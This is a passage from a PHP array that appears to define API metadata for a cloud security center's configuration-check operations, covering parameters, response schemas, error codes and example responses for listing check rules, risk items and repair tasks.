Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '48D2E9A9-A1B0-4295-B727-0995757C47E9', ], 'RiskCheckJobConfig' => [ 'description' => 'The configurations of custom check tasks.'."\n", 'type' => 'object', 'properties' => [ 'EndTime' => [ 'description' => 'The time range during which check tasks end. Valid values:'."\n" ."\n" .'* **6**: 00:00 to 06:00'."\n" .'* **12**: 06:00 to 12:00'."\n" .'* **18**: 12:00 to 18:00'."\n" .'* **24**: 18:00 to 24:00'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '12', ], 'StartTime' => [ 'description' => 'The time range during which check tasks start. Valid values:'."\n" ."\n" .'* **0**: 00:00 to 06:00'."\n" .'* **6**: 06:00 to 12:00'."\n" .'* **12**: 12:00 to 18:00'."\n" .'* **18**: 18:00 to 24:00'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '6', ], 'DaysOfWeek' => [ 'description' => 'The day of the week when the check tasks are performed. Multiple days can be specified. Multiple days are separated by commas (,).'."\n" ."\n" .'* **1**: Monday'."\n" .'* **2**: Tuesday'."\n" .'* **3**: Wednesday'."\n" .'* **4**: Thursday'."\n" .'* **5**: Friday'."\n" .'* **6**: Saturday'."\n" .'* **7**: Sunday'."\n", 'type' => 'string', 'example' => '1,2,3', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"48D2E9A9-A1B0-4295-B727-0995757C47E9\\",\\n \\"RiskCheckJobConfig\\": {\\n \\"EndTime\\": 12,\\n \\"StartTime\\": 6,\\n \\"DaysOfWeek\\": \\"1,2,3\\"\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n 48D2E9A9-A1B0-4295-B727-0995757C47E9\\n \\n 12\\n 6\\n 1,2,3\\n \\n","errorExample":""}]', 'title' => 'DescribeSecurityCheckScheduleConfig', 'description' => 'This operation is phased out. You can use the GetCheckConfig operation.'."\n", 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeRiskCheckItemResult' => [ 'summary' => 'Queries the assets that are affected by the risk item detected in configuration assessment based on a specified check item.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => true, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '173.128.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'ItemId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the check item.'."\n" ."\n" .'> For more information about the IDs and details of the check items that can be used in configuration assessment, see [DescribeRiskCheckResult](~~113520~~).'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '2', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '3BFB4989-A108-46A4-954E-FF7EF02D1078', ], 'PageContentResource' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ContentResource' => [ 'description' => 'The data of the affected assets on each page in a dynamic table.'."\n", 'type' => 'object', 'additionalProperties' => [ 'type' => 'any', 'example' => '{"resultStatus":[{"id":123345,"status":"failed"}],"columns":[{"title":"The available zone where it is located","key":"RegionId"},{"title":"Database instance ID","key":"DBInstanceId"},{"title":"Item value","key":"VulValue"}],"values":[{"DBInstanceId":{"type":"link","value":"dds-bp144b42843****\\n","url":"https://mongodb.console.aliyun.com/replicate/cn-hangzhou/instances/dds-bp144b********/basicInfo"},"VulValue":{"type":"link","value":"0.0.0.0/0","url":"https://mongodb.console.aliyun.com/replicate/cn-hangzhou/instances/dds-b*********/whiteList"},"RegionId":{"type":"text","value":"cn-hangzhou"}}],"emptyGridValue":{"type":"text","value":"No data"},"type":"grid"}', 'description' => 'Details of the test results.', ], 'example' => '{"resultStatus":\\[{"id":32183150,"status":"failed"}],"columns":\\[{"title":"Zone","key":"RegionId"},{"title":"Database instance ID","key":"DBInstanceId"},{"title":"Error entry value","key":"VulValue"}],"values":\\[{"DBInstanceId":{"type":"link","value":"dds-bp144b42843\\*\\*\\*\\*\\n","url":"https://mongodb.console.aliyun.com/replicate/cn-hangzhou/instances/dds-bp144b42843\\*\\*\\*\\*/basicInfo"},"VulValue":{"type":"link","value":"0.0.0.0/0","url":"https://mongodb.console.aliyun.com/replicate/cn-hangzhou/instances/dds-bp144b42843\\*\\*\\*\\*/whiteList"},"RegionId":{"type":"text","value":"cn-hangzhou"}}],"emptyGridValue":{"type":"text","value":"No data found"},"type":"grid"}'."\n", ], 'PageSize' => [ 'description' => 'The number of entries returned on each page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageCount' => [ 'description' => 'The total number of pages returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'RiskItemNotExists', 'errorMessage' => 'risk item not exists', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"3BFB4989-A108-46A4-954E-FF7EF02D1078\\",\\n \\"PageContentResource\\": {\\n \\"CurrentPage\\": 1,\\n \\"ContentResource\\": {\\n \\"key\\": \\"{\\\\\\"resultStatus\\\\\\":[{\\\\\\"id\\\\\\":123345,\\\\\\"status\\\\\\":\\\\\\"failed\\\\\\"}],\\\\\\"columns\\\\\\":[{\\\\\\"title\\\\\\":\\\\\\"The available zone where it is located\\\\\\",\\\\\\"key\\\\\\":\\\\\\"RegionId\\\\\\"},{\\\\\\"title\\\\\\":\\\\\\"Database instance ID\\\\\\",\\\\\\"key\\\\\\":\\\\\\"DBInstanceId\\\\\\"},{\\\\\\"title\\\\\\":\\\\\\"Item value\\\\\\",\\\\\\"key\\\\\\":\\\\\\"VulValue\\\\\\"}],\\\\\\"values\\\\\\":[{\\\\\\"DBInstanceId\\\\\\":{\\\\\\"type\\\\\\":\\\\\\"link\\\\\\",\\\\\\"value\\\\\\":\\\\\\"dds-bp144b42843****\\\\\\\\n\\\\\\",\\\\\\"url\\\\\\":\\\\\\"https://mongodb.console.aliyun.com/replicate/cn-hangzhou/instances/dds-bp144b********/basicInfo\\\\\\"},\\\\\\"VulValue\\\\\\":{\\\\\\"type\\\\\\":\\\\\\"link\\\\\\",\\\\\\"value\\\\\\":\\\\\\"0.0.0.0/0\\\\\\",\\\\\\"url\\\\\\":\\\\\\"https://mongodb.console.aliyun.com/replicate/cn-hangzhou/instances/dds-b*********/whiteList\\\\\\"},\\\\\\"RegionId\\\\\\":{\\\\\\"type\\\\\\":\\\\\\"text\\\\\\",\\\\\\"value\\\\\\":\\\\\\"cn-hangzhou\\\\\\"}}],\\\\\\"emptyGridValue\\\\\\":{\\\\\\"type\\\\\\":\\\\\\"text\\\\\\",\\\\\\"value\\\\\\":\\\\\\"No data\\\\\\"},\\\\\\"type\\\\\\":\\\\\\"grid\\\\\\"}\\"\\n },\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 1,\\n \\"PageCount\\": 3,\\n \\"Count\\": 1\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n \\n 1\\n \\n \\n 32183150\\n failed\\n \\n \\n 所在可用区\\n RegionId\\n \\n \\n 数据库实例ID\\n DBInstanceId\\n \\n \\n 问题条目值\\n VulValue\\n \\n \\n \\n link\\n dds-bp144b42843xxxxx\\n https://mongodb.console.aliyun.com/replicate/cn-hangzhou/instances/dds-bp144b42843****/basicInfo\\n \\n \\n link\\n 0.0.0.0/0\\n https://mongodb.console.aliyun.com/replicate/cn-hangzhou/instances/dds-bp144b42843****/whiteList\\n \\n \\n text\\n cn-hangzhou\\n \\n \\n \\n text\\n 暂无数据\\n \\n grid\\n \\n 1\\n 20\\n 1\\n 1\\n \\n 3BFB4989-A108-46A4-954E-FF7EF02D1078\\n","errorExample":""}]', 'title' => 'DescribeRiskCheckItemResult', 'description' => '该接口已下线，使用升级接口ListCheckInstanceResult替换。', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', 'translator' => 'machine', ], 'DescribeRiskListCheckResult' => [ 'summary' => 'Queries the number of risk items detected in the configuration assessment of one or more cloud services by using the instance IDs of the cloud services.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => true, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '59.57.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Pages start from page 1. Default value: 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], ], [ 'name' => 'InstanceIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The instance IDs of the cloud services that you want to query. Separate multiple IDs with commas (,).'."\n" ."\n" .'> If you do not specify this parameter, an empty list is returned.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The instance IDs of the cloud services that you want to query. Separate multiple IDs with commas (,).'."\n" ."\n" .'> If you do not specify this parameter, an empty list is returned.'."\n", 'type' => 'string', 'required' => false, 'example' => 'rm-bp1e8t4q15sr3****', ], 'required' => false, 'maxItems' => 10000, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '3BFB4989-A108-46A4-954E-FF7EF02D1078', ], 'List' => [ 'description' => 'The number of risk items for each cloud service.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The number of risk items.'."\n", 'type' => 'object', 'properties' => [ 'riskCount' => [ 'description' => 'The total number of risk items detected in the current cloud service.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '3', ], 'InstanceId' => [ 'description' => 'The instance ID of the cloud service.'."\n", 'type' => 'string', 'example' => 'rm-bp1e8t4q15sr3****', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3BFB4989-A108-46A4-954E-FF7EF02D1078\\",\\n \\"List\\": [\\n {\\n \\"riskCount\\": 3,\\n \\"InstanceId\\": \\"rm-bp1e8t4q15sr3****\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeRiskListCheckResult', 'description' => 'This operation is phased out. You can use the ListCheckResult operation. When you call the ListCheckResult operation, set the Statuses parameter to NOT_PASS.'."\n", ], 'ListCheckRule' => [ 'summary' => 'Display cloud product configuration check rules', 'methods' => [ 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '230300', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'CheckId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the check item.'."\n" ."\n" .'> You can call the [ListCheckResult](~~ListCheckResult~~) API to get the check item ID.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '58', ], ], [ 'name' => 'CheckName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the check item.', 'type' => 'string', 'required' => false, 'example' => 'checkName', ], ], [ 'name' => 'RuleType', 'in' => 'query', 'schema' => [ 'description' => 'The type of rule. Default is **WHITE**. Values:'."\n" .'- **WHITE**: Add to whitelist', 'type' => 'string', 'required' => false, 'example' => 'WHITE', ], ], [ 'name' => 'ScopeType', 'in' => 'query', 'schema' => [ 'description' => 'The scope where the rule applies. Values:'."\n" .'- **INSTNACE**: Instance'."\n" .'- **ITEM**: Check item', 'type' => 'string', 'required' => false, 'example' => 'INSTANCE', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number displayed in a paginated query.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of check items displayed per page in a paginated query. The default value is **20**, indicating 20 check items per page.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'Set the language type for the request and response messages. The default is **zh**. Values:'."\n" ."\n" .'- zh: Chinese'."\n" .'- en: English', 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'TaskSources', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'List of task sources.', 'type' => 'array', 'items' => [ 'description' => 'Task source. Values: - **YAO_CHI**: Yaochi Console.', 'type' => 'string', 'required' => false, 'example' => 'YAO_CHI', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'The data type returned.', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of this request, which is a unique identifier generated by Alibaba Cloud for the request. It can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => '52870893-48A7-5A9E-9E05-6253E5B6****', ], 'CheckRules' => [ 'description' => 'Check rules.', 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'AliUid' => [ 'description' => 'The UID of the current user.', 'type' => 'integer', 'format' => 'int64', 'example' => '176316827610****', ], 'Vendor' => [ 'description' => 'The server vendor. Values:'."\n" ."\n" .'- **0**: Alibaba Cloud asset'."\n" .'- **1**: Non-cloud asset'."\n" .'- **2**: IDC asset'."\n" .'- **3**, **4**, **5**, **7**: Other cloud assets', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'AssetType' => [ 'description' => 'The type of cloud asset.'."\n" .'> For specific meanings, refer to the [GetCloudAssetCriteria](~~GetCloudAssetCriteria~~) AssetType.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'CheckId' => [ 'description' => 'The ID of the check item.', 'type' => 'integer', 'format' => 'int64', 'example' => '77', ], 'ScopeType' => [ 'description' => 'The scope where the rule applies. Values:'."\n" .'- **INSTNACE**: Instance'."\n" .'- **ITEM**: Check item', 'type' => 'string', 'example' => 'INSTANCE', ], 'RuleType' => [ 'description' => 'The type of rule. Default is **WHITE**. Values:'."\n" .'- **WHITE**: Add to whitelist', 'type' => 'string', 'example' => 'WHITE', ], 'RuleId' => [ 'description' => 'The ID of the rule.', 'type' => 'integer', 'format' => 'int64', 'example' => '8000**', ], 'CheckShowName' => [ 'description' => 'The name of the check item.', 'type' => 'string', 'example' => 'Check for IPS Whitelist on CEN (Enterprise Edition) Tab', ], 'CheckPolicies' => [ 'description' => 'The display name of the check item section.', 'type' => 'array', 'items' => [ 'description' => 'The display name of the check item section.', 'type' => 'object', 'properties' => [ 'sectionShowName' => [ 'description' => 'Display name of the item\'s chapter.', 'type' => 'string', 'example' => 'Access Control', ], ], ], ], 'AssetSubType' => [ 'description' => 'The subtype of the cloud product.'."\n" ."\n" .'> For specific meanings, refer to the [GetCloudAssetCriteria](~~GetCloudAssetCriteria~~) AssetSubType.', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'VendorName' => [ 'description' => 'The name of the server provider.', 'type' => 'string', 'example' => 'ALIYUN', ], 'InstanceType' => [ 'description' => 'The asset type of the cloud product.', 'type' => 'string', 'example' => 'ecs', ], 'InstanceSubType' => [ 'description' => 'The sub-asset type of the cloud product.', 'type' => 'string', 'example' => 'INSTANCE', ], 'Remark' => [ 'description' => 'Remark.', 'type' => 'string', 'example' => 'remark', ], ], ], ], 'PageInfo' => [ 'description' => 'Pagination information.', 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number in a paginated query.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The maximum number of data entries displayed per page in a paginated query.', 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'Count' => [ 'description' => 'The number of data entries displayed on the current page.', 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'TotalCount' => [ 'description' => 'Total number of data entries.', 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"52870893-48A7-5A9E-9E05-6253E5B6****\\",\\n \\"CheckRules\\": [\\n {\\n \\"AliUid\\": 0,\\n \\"Vendor\\": 0,\\n \\"AssetType\\": 1,\\n \\"CheckId\\": 77,\\n \\"ScopeType\\": \\"INSTANCE\\",\\n \\"RuleType\\": \\"WHITE\\",\\n \\"RuleId\\": 0,\\n \\"CheckShowName\\": \\"Check for IPS Whitelist on CEN (Enterprise Edition) Tab\\",\\n \\"CheckPolicies\\": [\\n {\\n \\"sectionShowName\\": \\"Access Control\\"\\n }\\n ],\\n \\"AssetSubType\\": 0,\\n \\"VendorName\\": \\"ALIYUN\\",\\n \\"InstanceType\\": \\"ecs\\",\\n \\"InstanceSubType\\": \\"INSTANCE\\",\\n \\"Remark\\": \\"remark\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"Count\\": 10,\\n \\"TotalCount\\": 10\\n }\\n}","type":"json"}]', 'title' => 'Query Cloud Security Posture Management Check Rules', 'translator' => 'machine', ], 'ListCheckRuleInstance' => [ 'summary' => 'List all effective machines under the rule', 'methods' => [ 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '230328', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'InstanceList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'Instance list.', 'type' => 'array', 'items' => [ 'description' => 'Instance list.', 'type' => 'object', 'properties' => [ 'RegionId' => [ 'description' => 'The region where the asset is located.'."\n" .'> Call the [ListCheckInstanceResult](~~ListCheckInstanceResult~~) interface to get this parameter.', 'type' => 'string', 'required' => false, 'example' => 'cn-hongkong', ], 'InstanceId' => [ 'description' => 'Asset instance ID.'."\n" .'> Call the [ListCheckInstanceResult](~~ListCheckInstanceResult~~) interface to get this parameter.', 'type' => 'string', 'required' => false, 'example' => 'i-wz9fdluqx20mp2x7****', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'RuleId', 'in' => 'query', 'schema' => [ 'description' => 'Rule ID.'."\n" .'> You can call the [LisCheckRule](~~2590599~~) interface to get this parameter.', 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '123', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number of the current page when performing a paginated query.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The maximum number of items per page in a paginated query. The default value is **20**.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'The returned message data.', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of the current request, which is a unique identifier generated by Alibaba Cloud for the request and can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DD****', ], 'CheckRuleInstances' => [ 'description' => 'List of instance rule information.', 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'RegionId' => [ 'description' => 'Region ID.', 'type' => 'string', 'example' => 'cn-shanghai', ], 'InstanceId' => [ 'description' => 'The instance ID of the asset.', 'type' => 'string', 'example' => 'i-j6c76lh1kvrcvwl*****', ], 'InstanceName' => [ 'description' => 'The instance name of the asset.', 'type' => 'string', 'example' => 'testEcs', ], ], ], ], 'AliUid' => [ 'description' => 'Alibaba Cloud account ID.', 'type' => 'string', 'example' => '103784262032****', ], 'CheckId' => [ 'description' => 'Check item ID.', 'type' => 'string', 'example' => '23', ], 'Vendor' => [ 'description' => 'Cloud vendor. Values:'."\n" .'- **ALIYUN**: Alibaba Cloud'."\n" .'- **TENCENT**: Tencent Cloud'."\n" .'- **MICROSOFT**: Microsoft'."\n" .'- **AWS**: Amazon Web Services (AWS)', 'type' => 'string', 'example' => 'Aliyun', ], 'AssetType' => [ 'description' => 'Type of cloud assets.', 'type' => 'string', 'example' => 'ECS', ], 'AssetSubType' => [ 'description' => 'Subtype of the cloud product.', 'type' => 'string', 'example' => 'Disk', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DD****\\",\\n \\"CheckRuleInstances\\": [\\n {\\n \\"RegionId\\": \\"cn-shanghai\\",\\n \\"InstanceId\\": \\"i-j6c76lh1kvrcvwl*****\\",\\n \\"InstanceName\\": \\"testEcs\\"\\n }\\n ],\\n \\"AliUid\\": \\"103784262032****\\",\\n \\"CheckId\\": \\"23\\",\\n \\"Vendor\\": \\"Aliyun\\",\\n \\"AssetType\\": \\"ECS\\",\\n \\"AssetSubType\\": \\"Disk\\"\\n}","type":"json"}]', 'title' => 'Query Cloud Security Posture Management Rule Instances', 'translator' => 'machine', ], 'ListOperationCheck' => [ 'summary' => 'Query the list of instance results under the operation check item', 'methods' => [ 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '213426', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'CheckId', 'in' => 'query', 'schema' => [ 'description' => 'Check item ID.'."\n" .'> Obtain this parameter by calling the [ListCheckResult](~~ListCheckResult~~) interface.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '23', ], ], [ 'name' => 'OperationTaskInstances', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'Information about the operated instances.', 'type' => 'array', 'items' => [ 'description' => 'Instance information.', 'type' => 'object', 'properties' => [ 'Vendor' => [ 'description' => 'Asset vendor. Values:'."\n" ."\n" .'- **ALIYUN**: Alibaba Cloud', 'type' => 'string', 'required' => false, 'example' => 'ALIYUN', ], 'RegionId' => [ 'description' => 'Region ID.', 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], 'InstanceId' => [ 'description' => 'Cloud asset instance ID.', 'type' => 'string', 'required' => false, 'example' => 'r-bp1642ib4bg2bm****', ], ], 'required' => false, ], 'required' => true, 'maxItems' => 100, ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'Task type corresponding to the task:'."\n" .'- **REPAIR**: Repair task'."\n" .'- **ROLLBACK**: Rollback task', 'type' => 'string', 'required' => true, 'example' => 'REPAIR', ], ], [ 'name' => 'StartTime', 'in' => 'query', 'schema' => [ 'description' => 'Timestamp (in milliseconds) of the start time of the queried task.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1719923175000', ], ], [ 'name' => 'EndTime', 'in' => 'query', 'schema' => [ 'description' => 'Timestamp (in milliseconds) of the end time of the queried task.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1719923175001', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'Language type for request and response messages, default value is zh. Values:'."\n" .'- **zh**: Chinese'."\n" .'- **en**: English', 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Schema of Response', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of the current call request, which is a unique identifier generated by Alibaba Cloud for the request, and can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => 'A3D7C47D-3F11-57BB-90E8-E5C20C61****', ], 'OperationTaskInstanceDetails' => [ 'description' => 'Detailed information about the operation instances.', 'type' => 'array', 'items' => [ 'description' => 'Detailed information about the operation instances.', 'type' => 'object', 'properties' => [ 'CheckId' => [ 'description' => 'Check item ID.', 'type' => 'integer', 'format' => 'int64', 'example' => '58', ], 'InstanceId' => [ 'description' => 'Instance ID.', 'type' => 'string', 'example' => 'lb-2zefdwrre8ey8ewr0****', ], 'RegionId' => [ 'description' => 'Region ID.', 'type' => 'string', 'example' => 'cn-shanghai', ], 'Repair' => [ 'description' => 'Information about the repair task.', 'type' => 'array', 'items' => [ 'description' => 'Information about the repair task.', 'type' => 'object', 'properties' => [ 'OperateTime' => [ 'description' => 'Timestamp for processing the risk. Unit: milliseconds.', 'type' => 'integer', 'format' => 'int64', 'example' => '1719923175000', ], 'RepairConfigs' => [ 'description' => 'Fix the corresponding configuration information.', 'type' => 'array', 'items' => [ 'description' => 'Configuration structure.', 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'Name of the repair parameter.', 'type' => 'string', 'example' => 'IpList', ], 'TypeDefine' => [ 'description' => 'JSON string for the custom configuration type of the check item.', 'type' => 'string', 'example' => '{\\"type\\":\\"STRING\\",\\"range\\":[0,64]}', ], 'ShowName' => [ 'description' => 'Display name.', 'type' => 'string', 'example' => 'IP List', ], 'FlowId' => [ 'description' => 'ID of the repair process during the repair operation.', 'type' => 'string', 'example' => 'cd7c4d34c1034de08308535d6cee***', ], 'Value' => [ 'description' => 'Real-time value of the parameter for the instance.', 'type' => 'string', 'example' => '192.168.1XX.1XX', ], ], ], ], 'StatusShowName' => [ 'description' => 'Display name of the repair task status.', 'type' => 'string', 'example' => 'repair success verified', ], 'Status' => [ 'description' => 'Status of the corresponding task.', 'type' => 'string', 'example' => 'REPAIR_SUCCESS_VERIFIED', ], 'TaskId' => [ 'description' => 'TaskId of the operation task.', 'type' => 'string', 'example' => '6a829841e335b0fb6e0014463284****', ], ], ], ], 'Type' => [ 'description' => 'The operation type of the corresponding task:'."\n" .' - **REPAIR**: Repair task '."\n" .'- **ROLLBACK**: Rollback task', 'type' => 'string', 'example' => 'REPAIR', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": 